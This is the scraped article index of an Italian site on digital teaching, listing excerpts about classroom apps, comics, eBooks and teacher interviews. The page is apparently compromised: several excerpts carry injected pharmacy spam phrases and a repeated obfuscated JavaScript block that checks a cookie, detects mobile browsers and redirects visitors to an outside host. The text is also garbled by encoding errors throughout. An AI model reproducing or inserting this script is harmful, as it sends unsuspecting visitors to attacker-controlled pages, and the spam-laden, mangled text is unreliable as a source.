CI SIAMO TRASFERITI!
Cari amici di classi 20, da fine gennaio 2018, ci trasferiamo sul sito abc.it.
Niente panico! Il sito di classi 20 rimarrà attivo per mantenere gli articoli pubblicati fino ad ora.
Siete curiosi di scoprire il nuovo portale dedicato alla didattica digitale?
Seguiteci su abc.it progetto EduCare (powered by REKORDATA) a breve pubblicheremo i nuovi aggiornamenti dedicati al mondo education.
Stay Tuned!

Risorse 2.0

Fabio di Nuzzo

Una matematica “ricavata” dai ragazzi. Ne parla Fabio di Nuzzo

E’ possibileAi??stimolare gli studenti all’apprendimento della matematica legandola a contesti reali (Real World) facendo anche impiego di metodologie induttive? Trovare nuovi modi per insegnare la matematica A? una sfida eccezionale, ma indispensabile! Domanda. Io vedo che in Italia pochissimi insegnanti applicano veramente unaAi??metodologia rivolta alla scoperta, al problem solving, induttiva. NormalmenteAi??trovano loro degli esempi da […]

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Redazione

I bambini scrivono e illustrano libri (Rete dei Ragazzi del Fiume)

La Rete dei Ragazzi del Fiume A? una rete didattica costituita in Friuli dalla maestra Antonella Brugnoli nel 1999. Antonella Brugnoli A? la prima Apple Distinguished Educator italiana e oggi la rete rappresenta il piA? interessante esempio di cooperazione didattica fra decine e oltre un centinaioAi??di scuole in Italia e una delle piA? interessantiAi??nel mondo. […]

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Redazione

Intervista ad Antonella Brugnoli. La Rete dei Ragazzi del fiume: una delle realtAi?? cooperative piA? importanti sulla scena internazionale

“La rete nasce nellai??i??a.s. 1999-2000 da unai??i??idea di alcuni docenti, o meglio da una forte necessitAi?? didattica. Avevamo bisogno di lavorare assieme, ma eravamo in istituti diversi, non molto distanti tra loro per cui raggiungibili in 30 minuti dai??i??auto. Abbiamo preso al volo le allora indicazioni del nostro ispettore USR dott. Luigi Torchio che ci […]

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Redazione

Portfolio delle competenze. Divertiamoci con Numbers

Creazione di un Portfolio delle competenze digitali degli studenti Applicazione:Ai??Numbers Funzione: Grafico interattivo Descrizione Usiamo ilAi??”grafico interattivo” per animare i dati di unaAi??tabellaAi??e poter controllare subito, attraverso l’interazione, le competenze digitali dei nostri allievi. Il grafico interattivo mostra i dati in modo dinamico spostando il cursore. Creare una semplice tabella con i nomi degli studenti […]

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Maria Rosaria Leonardi

Explain Everything. Una lavagna per la grammatica inglese.

Ai?? Ai??”Lai??i??applicazione si A? dimostrata molto efficace per la registrazione di semplici tutorial di grammatica inglese, che rappresentassero un promemoria di quanto giAi?? appreso e consolidato in classe. I vari video sono stati poi potati nelle pagine WIKI di ciascuna classe, per poter essere visionati allai??i??occorrenza dagli alunni che intendessero ripetere le strutture grammaticali studiate, […]

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Reshan Richards

Explayn Everything. eBook per capire, di Reshan Richards, creatore dell’applicazione.

Questi due eBook sono stati scrittiAi??da ReshanAi??Richards,Ai??Apple Distinguished Educator del New Jersey, Director of Educational TechnologyAi??pressoAi??Montclair Kimberley Academy. Sono scaricabili gratuitamente. Explayn Everithyng:Ai??https://itunes.apple.com/it/book/explain-everything/id591601596?mt=11 order levothyroxine using master card. Formative Assesment and ScreencastingAi??https://itunes.apple.com/it/book/explain-everything-formative/id844630744?mt=11 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g […]

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Micahel Hernandez

Gli studenti sono “artisti visuali”. Cinema, arte, poesia, diventano montaggio multimediale condiviso.

E’Ai??possibile combinare cinema, l’arte, la poesia, e la “teoria femminista” in un montaggio video fondato su prodottoAi??multimediale creato con un’app sociale? Michael Hernandez A? docenteAi??di Media Arts presso la Manhattan Beach Unified School District, in California (USA).Ai??EdAi??A? un noto esperto di Digital Storytelling, Mobile Journalism, e iPhoneography. E’ Apple Distinguished Educator. Ai?? Info e link:Ai??Michael […]

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Cheryll Davis, insegnante di Storia. California (USA)

iTunes U e lo studio della Storia. Risorse selezionate da Cheryl Davis.

L’insegnante di Storia e Storica CherylAi??Davis, ci presenta una lista di risorse per lo studio della Storia presenti inAi??Ai??iTunes U. Queste risorse saranno rinnovateAi??a mano amano che la lista di Cheryl si aggiorna. Elenco ragionato di risorse in iTunes U su temi che riguardano lo studio della Storia. Modern World History the Industrial RevolutionAi??-Ai??Vern Cleary […]

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Chiara Ferronato

English App. Applicazioni per studiare la lingua Inglese.

Raccolta e proposta di applicazioni suddivise per utilitAi??, presentata in occasione della prima Lend International Summer School e rivolta agli insegnanti di Inglese, dall’ Infanzia alla Secondaria. Vedi la presentazione Prezi creata da Chiara per laAi??primaAi??Lend International Summer School comprar viagra por paypal. , agosto 2014 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a […]

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Paolo Montemurro

Le soluzioni Google per il mondo della scuola

Le soluzioni Google dedicate al mondo della scuola partono da un concetto importante cioA? la focalizzazione sullai??i??insegnamento e non sulla tecnologia. In pratica Google mette gratuitamente a disposizione tool evoluti di comunicazione e collaborazioneAi?? senza gravare quindi sullai??i??aspetto economico e delle risorse umane allai??i??interno degli istituti scolastici. Approfondimento Google App Google Chromebook Google Classroom Google […]

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Alberto Pian

Explain Everything. Tecnica di presentazione multicanale: confronto delle fonti e loro disposizione.

Questa A? una tecnica di presentazione multicanale. E’ indicata soprattutto per gli studenti che devono presentare una lezione. Disciplina Storia: confronto fra le fonti; versioni differenti; interpretazioni; oggetti storici. Scienze: confronti; comparazioni; proprietAi??; Obiettivi prednisone 5mg dose pack. Abituare gli studenti a stabilire confronti. Imparare a utilizzare diversi oggetti sulla stessa pagina. Imparare a manovrare […]

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Redazione

Modelli di Keynote per attivitAi?? semistrutturate

In questa pagina mettiamo a disposizione alcuni modelli di Keynote che possono essere impiegati per attivitAi?? semistrutturate in classe. Modelli in AppStoreAi?? Toolbox low cost viagra canada. Theme 1000 slide Tutti i modelli in iTunes Store per iPad Elenco Carte (modello gratuito) Tema carte 09 Tema carte archivio zip var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( […]

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Alberto Pian

Life on Earth: una incedibile collezione di libri gratuita voluta Steve Jobs. (Corrispondenza da San Diego)

San Diego, 12 – 19 luglio 2014 Apple Distinguished Institute 2014 Corrispondenza direttaAi??di Alberto Pian “Life on Earth” A? un nuovo libro di testo in sette volumi creato dalla Biodiversity Foundation E. O Wilson. I libri sono stati pubblicati l’8 luglio 2014 e sono stati presentati a San Diego a una platea di 400 insegnanti […]

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Alberto Pian

Ambiente, didattica e Apple. Parla Lisa Jackson. (Corrispondenza da San Diego)

Corrispondenza da San Diego, 12 ai??i?? 19 luglio 2014 Apple Distinguished Institute 2014 Corrispondenza direttaAi??di Alberto Pian Quando Lisa Jackson, vicepresidente e responsabile delle iniziative ambientali si A? mostrata sul palco e ha iniziato a parlare, tutti i presenti hanno subito capito una cosa: questa donna crede fermamente nel suo lavoro e combatte davvero per […]

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Alberto Pian

Didattica, scienza, ricerca e attivitAi?? in Real World. ADE Institut 2014. San Diego.

Come abbiamo spigatoAi??ilAi??tema che ha rappresentato il filo conduttore della settimana di San Diego, A? stato quello della biologia, della biodiversitAi?? e dell’ambiente. Questo tema ha permesso di collegare attivitAi?? scientifiche e culturali, storiche e geografiche fra loro in un’ottica multi e interdisciplinare. Qui vediamo le metodologie didattiche adottate.   Didattica in Real World Come […]

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Alberto Pian

Cronache da San Diego. Il podcasting come strumento di partecipazione attiva.

Il podcast “Cronache da San Diego” A? stato creato con lo scopo di trasmettere, quasi in tempo reale, lo spirito e alcune riflessioni a caldo sull’evento Ade Institute di San Diego 2014. Poi A? il podcast ha continuato nelle sue trasmissioni ancora per qualche giorno, durante il soggiorno a Monterey, sulle orme di John Steinbeck. […]

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Massimo Tosi

Fumetto nella didattica. Studiare storia creando fumetti

Il fumetto A? una delle forme espressive che caratterizzano la storia del Novecento: potremmo dire anzi che si tratta di una delle piA? originali invenzioni nel mondo della comunicazione del secolo scorso. Non A? questo il luogo per trattare di una storia del fumetto e della sua incisivitAi?? nell’ambito della comunicazione a stampa, ma basterAi?? […]

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Italo Ravenna

Fumetto nella didattica. I bambini votano i fumetti degli studenti di Liceo

“Le mie osservazioni riguardo al progetto riguardanoAi??le dinamiche che sono scaturite dai miei alunni. Anche se di solo 8 anni A? stato semplice spiegare e coinvolgerli in questo progetto. Non parlo dal punto di vista tecnico perchAi?? usano iMac e iPad dal primo giorno di primaria ma parlo di interesse vero per la storia e […]

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Maria Rosaria Leonardi

Fumetto nella didattica. Le preposizioni in lingua Inglese.

walmart-pharmacy-cialis-price. “Per consolidare la conoscenza delle preposizioni di luogo in lingua inglese, ho realizzato con i miei alunni un semplice libro a fumetti utilizzando lai??i??App COMIC BOOK. I ragazzi hanno fotografato se stessi in varie postazioni, al fine di spiegare in modo chiaro le preposizioni, e hanno inserito le varie immagini allai??i??interno dei template predisposti […]

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Alberto Pian

Fumetto nella didattica. Il fumetto come rappresentazione di poesie e racconti.

Presentazione Si propone una struttura preimpostataAi??in modo che ogni studente possa rappresentare il testo di riferimento con uno schema comune. La struttura deve essere la stessa per ogni studente. Alla fine si unisconoAi??tutti i fumetti in un unico album ePub / PDF Descrizione Creare con Strip Designer o con Comic Life (iPad, tablet, computer) una […]

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Alberto Pian

Fumetto nella didattica. Creare una storia con un modello didattico

Descrizione Usiamo Strip Designer o Comic Life (iPad, tablet, computer) o applicazioni per creare fumetti che abbiano la possibilitAi?? di appiccare filtri alle immagini. Forniamo un modello semi-strutturato. Il modello si compone di 1 o 2 pagine. Ogni pagina contiene 2 o 4 immagini. Ogni pagina contiene i ballonAi??vuoti. how to get viagra discreetly. Procedura […]

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Alberto Pian

eBook in omaggio. Fumetto nella didattica. “Istituzioni e fumetti”

Lai??i??impiego creativo di strumenti e di linguaggi differenti da quelli istituzionali in campo educativo e formativo, spesso viene giudicato come non conforme cheap propecia fast delivery. ai proessi formativi. CioA? non viene giudicato come sufficientemente ai???istituzionaleai???: teatro, cinema, fumetti, gulpini, giochi di ruolo, simulaioni, figurine, scene parlanti, strumenti diversi del web e dei social network, […]

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Alberto Pian

Didattica multicanale e App smashing nella tassonomia di Bloom.

canadian pharmacies 24 hour. “La tassonomia di Bloom classica A? un ottimo punto di riferimento di una didattica multicanale che mescola fra loro differenti applicazioni per creareAi??workflow di insegnamento e di costruzione di “oggetti”. Nata oltre cinquant’anni fa, quindi in tempi non sospetti, la tassonomia A? stata piA? volte rielaborata – a mio parereAi??in termini […]

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Micahel Hernandez

Videogiornalismo a scuola. Intervista esclusiva a Michael Hernandez

Michael Hernandez A? docenteAi??di Media Arts presso la Manhattan Beach Unified School District, in California (USA).Ai??EdAi??A? un noto esperto di Digital Storytelling, Mobile Journalism, e iPhoneography. “Insegno produzione di film / video e giornalismo televisivo a livello di scuola superiore dal 1999 e tengo molti seminari su questi temi e su altre tematiche come iphoneo-graphy […]

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Marzia Mastalli

AccessibilitAi??. Ipad ed inclusione alunni DSA e BES

La scuola italiana, negli ultimi anni, ha posto particolare attenzione verso gli alunni con DSAAi?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? (Disturbi Specifici di Apprendimento) e con BES (Bisogni Educativi Speciali) emanando una serie di norme che uniformano il comportamento delle istituzioni scolastiche e degli insegnanti che rilevano in classe la presenza di alunni con […]

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Alberto Pian

CSI in classe. CSI Profiler about Literature, investigare la Letteratura. eBook gratuito.

“Questa A? unai??i??attivitAi?? didattica per imparare a costruire e a capire il profilo dei personaggi e la Letteratura, nel quadro della metodologia di Challange Based Learning” Scarica il libro in iBooks / iTunes Vedi il trailer di presentazione: Questa A? una nuova attivitAi?? didattica. L’idea A? nata dalle famose trasmissioni CSI. Ho proposto agli studenti […]

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Sabina Minuto

Flipped classroom. Il progetto di Albisola

A cura della Prof.ssa Ai??Sabina Minuto IC delle Albisole (SV) FinalitAi??: approfondire la riflessione sulla lingua italiana con la pratica della flipped classroom; lai??i??attivitAi?? nasce dalla constatazione che, spesso, il tempo speso in lezioni frontali in classe ha una scarsa ricaduta sui discenti, mentre il lavoro su esercizi mirati A? maggiormente motivante e favorisce un […]

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Redazione

SCHEDA. Crea la colonna sonora per un filmato con Garageband.

Creiamo un loop senza conoscere la musica. Possibile? SCHEDA:Ai??Garageband Colonna sonora per un filmato schweiz cialis online bestellung. MODELLO ALLEGATO IN GARAGEBAND:Ai??Garageband Colonna sonora per un filmato.band var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new […]

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Maria Rosaria Leonardi

Personal Information con Videoscribe.

propranolol over the counter. Ai??”Il breve video A? stato registrato con lai??i??accattivante app VIDEOSCRIBE, ora anche disponibile nellai??i??APP STORE per il Mac; esso A? stato utilizzato per rispolverare in modo simpatico e dinamico le prime funzioni linguistico-comunicative apprese allai??i??inizio della classe prima, riguardanti lo scambio di informazioni personali.”  var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows […]

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Redazione

“Tellagami” la lezione

Nella scuole italiane e all’estero si sta diffondendo molto l’impiego di Tellagmai e di altri avatar che possono essere caratterizzati nell’aspetto, nella “psicologia” e che si animano quando assegnamo un testo da recitare. Con questo servizio vi vogliamo offrire l’opportunitAi?? di riflettere su questo tema e di sperimentare questa opportunitAi?? didattica. Tellagami A? gratuitoAi??per iOS […]

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Alberto Pian

Il “metodo Panini”. Crea l’album delle figurine!

In questo articolo hai a disposizione i modelli necessari per creare un bellissimo album delle figurine con i tuoi ragazzi in classe. Segui le istruzioni! Ai??Che cosa bisogna sapere? Innanzitutto bisogna progettare le pagine dell’album. Quante figurine vuoi inserire? Dato che la pagina A4 A? il formato piA? utilizzato, possiamo prendere come riferimento i tradizionali […]

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Alberto Pian

Quattro filmati per creare eBook rapidamente

Multi Touch Book, libri fortemente interattivi e multicanali. Con un Macintosh e l’applicazione gratuita iBooks Author: Creare un eBook a impatto testuale con Creative Book Builder Creare eBook a impatto visuale (Book Creator Free buy cialis 40mg. ) Tipologie di eBook, classificazione utile per la didattica https://vimeo.com/69590117var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a […]

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Redazione

SCHEDA. Filmiamo il documentario.

